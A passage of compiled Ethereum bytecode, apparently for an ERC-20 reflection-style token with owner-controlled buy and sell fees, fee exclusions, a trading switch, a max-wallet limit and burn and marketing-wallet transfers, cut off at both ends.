63565b9392505050565b620010ac8162000ab5565b82525050565b6000602082019050620010c96000830184620010a1565b92915050565b614b7a80620010df6000396000f3fe608060405234801561001057600080fd5b50600436106102325760003560e01c80634ada218b116101305780638da5cb5b116100b8578063be19674b1161007c578063be19674b146106a5578063c0b0fda2146106c1578063dd62ed3e146106df578063ea2f0b371461070f578063f2fde38b1461072b57610232565b80638da5cb5b146105eb57806395d89b4114610609578063a457c2d714610627578063a9059cbb14610657578063bbde77c11461068757610232565b80636dd3d39f116100ff5780636dd3d39f1461054757806370a0823114610577578063715018a6146105a757806388f82020146105b15780638a8c523c146105e157610232565b80634ada218b146104c15780634cb80fd5146104df57806352390c02146104fb5780635342acb41461051757610232565b8063313ce567116101be5780634144d9e4116101825780634144d9e41461041d578063437823ec1461043b5780634549b0391461045757806348eb61b61461048757806349bd5a5e146104a357610232565b8063313ce567146103795780633685d4191461039757806339509351146103b35780633b124fe7146103e35780633bd5d1731461040157610232565b80631694505e116102055780631694505e146102bf57806318160ddd146102dd57806322976e0d146102fb57806323b872dd146103195780632d8381191461034957610232565b806306fdde0314610237578063095ea7b31461025557806313114a9d14610285578063151cd1c2146102a3575b600080fd5b61023f610747565b60405161024c9190613d77565b60405180910390f35b61026f600480360381019061026a9190613e32565b6107d9565b60405161027c9190613e8d565b60405180910390f35b61028d6107f7565b60405161029a9190613eb7565b60405180910390f35b6102bd60048036038101906102b89190613ed2565b610801565b005b6102c76108b2565b6040516102d49190613f84565b60405180910390f35b6102e56108d8565b6040516102f29190613eb7565b60405180910390f35b6103036108e2565b6040516103109190613eb7565b60405180910390f35b610333600480360381019061032e9190613f9f565b6108e8565b6040516103409190613e8d565b60405180910390f35b610363600480360381019061035e9190613ff2565b6109c1565b6040516103709190613eb7565b60405180910390f35b610381610a2f565b60405161038e9190613eb7565b60405180910390f35b6103b160048036038101906103ac919061401f565b610a39565b005b6103cd60048036038101906103c89190613e32565b610d6e565b6040516103da9190613e8d565b60405180910390f35b6103eb610e21565b6040516103f89190613eb7565b60405180910390f35b61041b60048036038101906104169190613ff2565b610e27565b005b610425610fa3565b604051610432919061405b565b60405180910390f35b6104556004803603810190610450919061401f565b610fc9565b005b610471600480360381019061046c91906140a2565b6110a0565b60405161047e9190613eb7565b60405180910390f35b6104a1600480360381019061049c91906140e2565b611126565b005b6104ab6111fd565b6040516104b8919061405b565b60405180910390f35b6104c9611223565b6040516104d69190613e8d565b60405180910390f35b6104f960048036038101906104f4919061401f565b611236565b005b6105156004803603810190610510919061401f565b6112f6565b005b610531600480360381019061052c919061401f565b611591565b60405161053e9190613e8d565b60405180910390f35b610561600480360381019061055c919061401f565b6115e7565b60405161056e9190613e8d565b60405180910390f35b610591600480360381019061058c919061401f565b61163d565b60405161059e9190613eb7565b60405180910390f35b6105af611728565b005b6105cb60048036038101906105c6919061401f565b611862565b6040516105d89190613e8d565b60405180910390f35b6105e96118b8565b005b6105f3611951565b604051610600919061405b565b60405180910390f35b61061161197a565b60405161061e9190613d77565b60405180910390f35b610641600480360381019061063c9190613e32565b611a0c565b60405161064e9190613e8d565b60405180910390f35b610671600480360381019061066c9190613e32565b611ad9565b60405161067e9190613e8d565b60405180910390f35b61068f611af7565b60405161069c9190613eb7565b60405180910390f35b6106bf60048036038101906106ba9190613ed2565b611afd565b005b6106c9611bae565b6040516106d69190613eb7565b60405180910390f35b6106f960048036038101906106f49190614122565b611bb4565b6040516107069190613eb7565b60405180910390f35b6107296004803603810190610724919061401f565b611c3b565b005b6107456004803603810190610740919061401f565b611d12565b005b6060600d805461075690614191565b80601f016020809104026020016040519081016040528092919081815260200182805461078290614191565b80156107cf5780601f106107a4576101008083540402835291602001916107cf565b820191906000526020600020905b8154815290600101906020018083116107b257829003601f168201915b5050505050905090565b60006107ed6107e6611eba565b8484611ec2565b6001905092915050565b6000600c54905090565b610809611eba565b73ffffffffffffffffffffffffffffffffffffffff16610827611951565b73ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108749061420e565b60405180910390fd5b826013819055506013546016819055508160148190555060145460178190555080601581905550601554601881905550505050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b60175481565b60006108f584848461208b565b6109b684610901611eba565b6109b185604051806060016040528060288152602001614af860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610967611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d89092919063ffffffff16565b611ec2565b600190509392505050565b6000600b54821115610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff906142a0565b60405180910390fd5b6000610a1261262d565b9050610a27818461265890919063ffffffff16565b915050919050565b6000600f54905090565b610a41611eba565b73ffffffffffffffffffffffffffffffffffffffff16610a5f611951565b73ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac9061420e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b389061430c565b60405180910390fd5b60005b600880549050811015610d6a578173ffffffffffffffffffffffffffffffffffffffff1660088281548110610b7c57610b7b61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603610d575760086001600880549050610bd6919061438a565b81548110610be757610be661432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110610c2657610c2561432c565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008805480610d1d57610d1c6143be565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055610d6a565b8080610d62906143ed565b915050610b44565b5050565b6000610e17610d7b611eba565b84610e128560046000610d8c611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b611ec2565b6001905092915050565b60165481565b6000610e31611eba565b9050600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb7906144a7565b60405180910390fd5b6000610ecb83612684565b5050505050509050610f2581600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7d81600b546126ec90919063ffffffff16565b600b81905550610f9883600c5461266e90919063ffffffff16565b600c81905550505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fd1611eba565b73ffffffffffffffffffffffffffffffffffffffff16610fef611951565b73ffffffffffffffffffffffffffffffffffffffff1614611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103c9061420e565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600a548311156110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de90614513565b60405180910390fd5b816111085760006110f784612684565b505050505050905080915050611120565b600061111384612684565b5050505050915050809150505b92915050565b61112e611eba565b73ffffffffffffffffffffffffffffffffffffffff1661114c611951565b73ffffffffffffffffffffffffffffffffffffffff16146111a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111999061420e565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900460ff1681565b61123e611eba565b73ffffffffffffffffffffffffffffffffffffffff1661125c611951565b73ffffffffffffffffffffffffffffffffffffffff16146112b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a99061420e565b60405180910390fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112fe611eba565b73ffffffffffffffffffffffffffffffffffffffff1661131c611951565b73ffffffffffffffffffffffffffffffffffffffff1614611372576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113699061420e565b60405180910390fd5b600660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f69061457f565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156114d35761148f600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c1565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116d857600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611723565b611720600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c1565b90505b919050565b611730611eba565b73ffffffffffffffffffffffffffffffffffffffff1661174e611951565b73ffffffffffffffffffffffffffffffffffffffff16146117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b9061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6118c0611eba565b73ffffffffffffffffffffffffffffffffffffffff166118de611951565b73ffffffffffffffffffffffffffffffffffffffff1614611934576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192b9061420e565b60405180910390fd5b6001601f60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600e805461198990614191565b80601f01602080910402602001604051908101604052809291908181526020018280546119b590614191565b8015611a025780601f106119d757610100808354040283529160200191611a02565b820191906000526020600020905b8154815290600101906020018083116119e557829003601f168201915b5050505050905090565b6000611acf611a19611eba565b84611aca85604051806060016040528060258152602001614b206025913960046000611a43611eba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125d89092919063ffffffff16565b611ec2565b6001905092915050565b6000611aed611ae6611eba565b848461208b565b6001905092915050565b601e5481565b611b05611eba565b73ffffffffffffffffffffffffffffffffffffffff16611b23611951565b73ffffffffffffffffffffffffffffffffffffffff1614611b79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b709061420e565b60405180910390fd5b826010819055506010546016819055508160118190555060115460178190555080601281905550601254601881905550505050565b60185481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611c43611eba565b73ffffffffffffffffffffffffffffffffffffffff16611c61611951565b73ffffffffffffffffffffffffffffffffffffffff1614611cb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cae9061420e565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611d1a611eba565b73ffffffffffffffffffffffffffffffffffffffff16611d38611951565b73ffffffffffffffffffffffffffffffffffffffff1614611d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d859061420e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df490614611565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f28906146a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611fa0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9790614735565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161207e9190613eb7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f1906147c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090614859565b60405180910390fd5b600081116121ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a3906148eb565b60405180910390fd5b6121b4611951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156121fc5750601f60009054906101000a900460ff16155b1561225157601f60009054906101000a900460ff16612250576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224790614957565b60405180910390fd5b5b612259611951565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156122c057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122fa575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123545750601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561240c5760006123648361163d565b9050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123cb5750601e5482826123c89190614977565b11155b61240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614a1d565b60405180910390fd5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806124b35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124c157600090506125c6565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603612536576010546016819055506011546017819055506012546018819055506125c5565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036125ab576013546016819055506014546017819055506015546018819055506125c4565b6000601681905550600060178190555060006018819055505b5b5b6125d284848484612702565b50505050565b6000838311158290612620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126179190613d77565b60405180910390fd5b5082840390509392505050565b600080600061263a612a13565b91509150612651818361265890919063ffffffff16565b9250505090565b600081836126669190614a6c565b905092915050565b6000818361267c9190614977565b905092915050565b600080600080600080600080600080600061269e8c612cc6565b935093509350935060008060006126bf8f8787876126ba61262d565b612d45565b925092509250828282898989899d509d509d509d509d509d509d5050505050505050919395979092949650565b600081836126fa919061438a565b905092915050565b806127105761270f612df9565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127b35750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127c8576127c3848484612e2e565b6129ff565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561286b5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128805761287b84848461309c565b6129fe565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129245750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129395761293484848461330a565b6129fd565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129db5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f0576129eb8484846134e3565b6129fc565b6129fb84848461330a565b5b5b5b5b80612a0d57612a0c6137e6565b5b50505050565b6000806000600b5490506000600a54905060005b600880549050811015612c8957826002600060088481548110612a4d57612a4c61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612b3b5750816003600060088481548110612ad357612ad261432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612b5257600b54600a5494509450505050612cc2565b612be26002600060088481548110612b6d57612b6c61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846126ec90919063ffffffff16565b9250612c746003600060088481548110612bff57612bfe61432c565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836126ec90919063ffffffff16565b91508080612c81906143ed565b915050612a27565b50612ca1600a54600b5461265890919063ffffffff16565b821015612cb957600b54600a54935093505050612cc2565b81819350935050505b9091565b6000806000806000612cd786613803565b90506000612ce487613835565b90506000612cf188613867565b90506000612d2c82612d1e85612d10888e6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b9050808484849750975097509750505050509193509193565b600080600080612d5e858a61389990919063ffffffff16565b90506000612d75868a61389990919063ffffffff16565b90506000612d8c878a61389990919063ffffffff16565b90506000612da3888a61389990919063ffffffff16565b90506000612dde82612dd085612dc2888a6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b6126ec90919063ffffffff16565b90508481859750975097505050505050955095509592505050565b601654601981905550601754601a81905550601854601b81905550600060168190555060006017819055506000601881905550565b6000806000806000806000612e4288612684565b9650965096509650965096509650612ea288600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f3787600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fcc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613018826138af565b61302181613a5e565b61302b8584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516130889190613eb7565b60405180910390a350505050505050505050565b60008060008060008060006130b088612684565b965096509650965096509650965061311087600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131a584600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061323a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613286826138af565b61328f81613a5e565b6132998584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516132f69190613eb7565b60405180910390a350505050505050505050565b600080600080600080600061331e88612684565b965096509650965096509650965061337e87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061341386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061345f826138af565b61346881613a5e565b6134728584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516134cf9190613eb7565b60405180910390a350505050505050505050565b60008060008060008060006134f788612684565b965096509650965096509650965061355788600360008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135ec87600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126ec90919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061368184600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061371686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613762826138af565b61376b81613a5e565b6137758584613cad565b8873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516137d29190613eb7565b60405180910390a350505050505050505050565b601954601681905550601a54601781905550601b54601881905550565b600061382e6127106138206016548561389990919063ffffffff16565b61265890919063ffffffff16565b9050919050565b60006138606127106138526018548561389990919063ffffffff16565b61265890919063ffffffff16565b9050919050565b60006138926127106138846017548561389990919063ffffffff16565b61265890919063ffffffff16565b9050919050565b600081836138a79190614a9d565b905092915050565b60006138b961262d565b905060006138d0828461389990919063ffffffff16565b9050613926816002600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b6002600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506006600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613a5957613a13836003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b6003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6000613a6861262d565b90506000613a7f828461389990919063ffffffff16565b9050613af58160026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b60026000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060066000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ca857613c428360036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266e90919063ffffffff16565b60036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613cc282600b546126ec90919063ffffffff16565b600b81905550613cdd81600c5461266e90919063ffffffff16565b600c819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613d21578082015181840152602081019050613d06565b60008484015250505050565b6000601f19601f8301169050919050565b6000613d4982613ce7565b613d538185613cf2565b9350613d63818560208601613d03565b613d6c81613d2d565b840191505092915050565b60006020820190508181036000830152613d918184613d3e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613dc982613d9e565b9050919050565b613dd981613dbe565b8114613de457600080fd5b50565b600081359050613df681613dd0565b92915050565b6000819050919050565b613e0f81613dfc565b8114613e1a57600080fd5b50565b600081359050613e2c81613e06565b92915050565b60008060408385031215613e4957613e48613d99565b5b6000613e5785828601613de7565b9250506020613e6885828601613e1d565b9150509250929050565b60008115159050919050565b613e8781613e72565b82525050565b6000602082019050613ea26000830184613e7e565b92915050565b613eb181613dfc565b82525050565b6000602082019050613ecc6000830184613ea8565b92915050565b600080600060608486031215613eeb57613eea613d99565b5b6000613ef986828701613e1d565b9350506020613f0a86828701613e1d565b9250506040613f1b86828701613e1d565b9150509250925092565b6000819050919050565b6000613f4a613f45613f4084613d9e565b613f25565b613d9e565b9050919050565b6000613f5c82613f2f565b9050919050565b6000613f6e82613f51565b9050919050565b613f7e81613f63565b82525050565b6000602082019050613f996000830184613f75565b92915050565b600080600060608486031215613fb857613fb7613d99565b5b6000613fc686828701613de7565b9350506020613fd786828701613de7565b9250506040613